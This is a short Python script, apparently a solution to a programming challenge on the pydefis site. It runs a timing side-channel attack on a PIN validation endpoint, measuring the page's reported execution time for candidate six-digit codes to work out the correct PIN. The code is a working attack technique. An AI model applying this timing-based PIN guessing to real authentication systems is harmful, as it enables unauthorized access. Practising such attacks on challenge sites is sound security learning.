import requests
import time

def get_duration(code):
    res = requests.get(url="https://pydefis.callicode.fr/defis/PinCodeBroyeur/intern/ExQDQkhTLQIZCwICBB0aFRs%3D/validatepincode?pincode="+code)
    pos = res.text.find("Temps d'exécution de la page : ") + 31
    duration = res.text[pos:pos+7]
    return duration

table = dict()
moyenne = dict()
for i in range(6):
    for j in range(10):
        code = str(j).ljust(i+1,"0").rjust(6,"0")
        table[code] = list()

for code in table:
    for i in range(5):
        duration = get_duration(code)
        table[code].append(float(duration))
        print("\t", code, "==>", duration)
        time.sleep(10.5)
    moyenne[code] = sum(table[code]) / len(table[code])
    print(code, moyenne[code])

print(table)
for code in table:
    print(code, moyenne[code])
